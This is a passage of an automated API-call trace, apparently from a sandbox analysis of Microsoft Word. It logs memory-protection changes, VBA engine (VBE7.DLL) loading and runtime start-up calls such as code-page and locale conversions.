lpflOldProtect=0x19750c*=0x40) returned 1 [0095.144] GetCurrentProcess () returned 0xffffffff [0095.144] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0095.144] GetCurrentProcess () returned 0xffffffff [0095.144] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0095.144] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0095.145] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0095.145] GetCurrentProcess () returned 0xffffffff [0095.145] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0095.145] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0095.146] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0095.146] GetCurrentProcess () returned 0xffffffff [0095.146] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0095.146] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0095.147] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0095.147] GetCurrentProcess () returned 0xffffffff [0095.147] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0095.147] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.148] GetCurrentProcess () returned 0xffffffff [0095.148] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0095.148] GetCurrentProcess () returned 0xffffffff [0095.148] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0095.148] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.148] GetCurrentProcess () returned 0xffffffff [0095.148] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0095.148] GetCurrentProcess () returned 0xffffffff [0095.148] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0095.148] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.149] GetCurrentProcess () returned 0xffffffff [0095.149] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0095.149] GetCurrentProcess () returned 0xffffffff [0095.149] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0095.149] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.149] GetCurrentProcess () returned 0xffffffff [0095.149] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0095.149] GetCurrentProcess () returned 0xffffffff [0095.149] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0095.149] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.150] GetCurrentProcess () returned 0xffffffff [0095.150] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0095.150] GetCurrentProcess () returned 0xffffffff [0095.150] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0095.150] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.151] GetCurrentProcess () returned 0xffffffff [0095.151] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0095.151] GetCurrentProcess () returned 0xffffffff [0095.151] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0095.151] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.151] GetCurrentProcess () returned 0xffffffff [0095.151] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0095.151] GetCurrentProcess () returned 0xffffffff [0095.151] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0095.151] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.152] GetCurrentProcess () returned 0xffffffff [0095.152] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0095.152] GetCurrentProcess () returned 0xffffffff [0095.152] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0095.152] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.152] GetCurrentProcess () returned 0xffffffff [0095.152] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0095.152] GetCurrentProcess () returned 0xffffffff [0095.152] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0095.152] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.153] GetCurrentProcess () returned 0xffffffff [0095.153] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0095.153] GetCurrentProcess () returned 0xffffffff [0095.153] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0095.153] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.153] GetCurrentProcess () returned 0xffffffff [0095.153] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0095.153] GetCurrentProcess () returned 0xffffffff [0095.153] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0095.153] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.154] GetCurrentProcess () returned 0xffffffff [0095.154] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0095.154] GetCurrentProcess () returned 0xffffffff [0095.154] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0095.154] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.154] GetCurrentProcess () returned 0xffffffff [0095.154] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0095.154] GetCurrentProcess () returned 0xffffffff [0095.154] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0095.154] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.155] GetCurrentProcess () returned 0xffffffff [0095.155] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0095.155] GetCurrentProcess () returned 0xffffffff [0095.155] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0095.155] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.155] GetCurrentProcess () returned 0xffffffff [0095.155] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0095.155] GetCurrentProcess () returned 0xffffffff [0095.155] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0095.155] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19750c | out: lpflOldProtect=0x19750c*=0x40) returned 1 [0095.156] GetCurrentProcess () returned 0xffffffff [0095.156] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0095.156] SetErrorMode (uMode=0x8001) returned 0x8001 [0095.156] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0095.156] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x69320000 [0095.156] SetErrorMode (uMode=0x8001) returned 0x8001 [0095.156] GetProcAddress (hModule=0x69320000, lpProcName=0x217) returned 0x6932741e [0095.157] GetAsyncKeyState (vKey=3) returned 0 [0095.157] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.157] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.157] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.157] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.157] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0095.158] GetLocalTime (in: lpSystemTime=0x197b4c | out: lpSystemTime=0x197b4c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x4, wDay=0xb, wHour=0x12, wMinute=0x26, wSecond=0x28, wMilliseconds=0x273)) [0095.158] VarAdd (in: pvarLeft=0x197ef0, pvarRight=0x197ee0, pvarResult=0x197ed0 | out: pvarResult=0x197ed0) returned 0x0 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0095.158] VarCmp (pvarLeft=0x197cc4, pvarRight=0x197cb4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0095.158] GetLocalTime (in: lpSystemTime=0x197b4c | out: lpSystemTime=0x197b4c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x4, wDay=0xb, wHour=0x12, wMinute=0x26, wSecond=0x28, wMilliseconds=0x273)) [0098.341] NtdllDefWindowProc_A (hWnd=0x50202, Msg=0x1c, wParam=0x0, lParam=0x100c) returned 0x0 [0099.175] GetModuleHandleW (lpModuleName=0x0) returned 0xed0000 [0099.175] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0099.175] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0099.176] GetProcAddress (hModule=0x76910000, lpProcName="InitializeCriticalSectionEx") returned 0x769cd740 [0099.176] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0099.177] GetProcAddress (hModule=0x76910000, lpProcName="FlsAlloc") returned 0x769d4490 [0099.178] GetProcAddress (hModule=0x76910000, lpProcName="FlsSetValue") returned 0x769cd7a0 [0099.178] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0099.179] GetProcAddress (hModule=0x76910000, lpProcName="InitializeCriticalSectionEx") returned 0x769cd740 [0099.179] GetProcessHeap () returned 0x6e0000 [0099.179] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0099.180] GetProcAddress (hModule=0x76910000, lpProcName="FlsAlloc") returned 0x769d4490 [0099.180] GetLastError () returned 0x3f0 [0099.181] GetProcAddress (hModule=0x76910000, lpProcName="FlsGetValue") returned 0x769bf350 [0099.181] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0x364) returned 0xf13e668 [0099.181] GetProcAddress (hModule=0x76910000, lpProcName="FlsSetValue") returned 0x769cd7a0 [0099.181] SetLastError (dwErrCode=0x3f0) [0099.181] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x8, Size=0xc00) returned 0xf2b1cd0 [0099.183] GetStartupInfoW (in: lpStartupInfo=0x19761c | out: lpStartupInfo=0x19761c*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Program Files (x86)\\Microsoft Office\\Office16\\WINWORD.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x120296a0, hStdOutput=0xa948ba3e, hStdError=0xfffffffe)) [0099.183] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0099.183] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0099.183] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0099.184] GetCommandLineA () returned="\"C:\\Program Files (x86)\\Microsoft Office\\Office16\\WINWORD.EXE\" /n" [0099.184] GetCommandLineW () returned="\"C:\\Program Files (x86)\\Microsoft Office\\Office16\\WINWORD.EXE\" /n" [0099.184] GetLastError () returned 0x3f0 [0099.184] SetLastError (dwErrCode=0x3f0) [0099.184] GetLastError () returned 0x3f0 [0099.184] SetLastError (dwErrCode=0x3f0) [0099.184] GetACP () returned 0x4e4 [0099.184] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x220) returned 0xca7be00 [0099.184] IsValidCodePage (CodePage=0x4e4) returned 1 [0099.184] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19764c | out: lpCPInfo=0x19764c) returned 1 [0099.184] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x196f14 | out: lpCPInfo=0x196f14) returned 1 [0099.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x197528, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0099.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x197528, cbMultiByte=256, lpWideCharStr=0x196cb8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0099.184] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x196f28 | out: lpCharType=0x196f28) returned 1 [0099.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x197528, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0099.184] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x197528, cbMultiByte=256, lpWideCharStr=0x196c68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0099.184] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x76910000 [0099.185] GetProcAddress (hModule=0x76910000, lpProcName="LCMapStringEx") returned 0x769b95f0 [0099.185] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0099.185] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x196a58, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0099.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x197428, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿb\x90Y»dv\x19", lpUsedDefaultChar=0x0) returned 256 [0099.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x197528, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0099.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x197528, cbMultiByte=256, lpWideCharStr=0x196c78, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0099.186] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 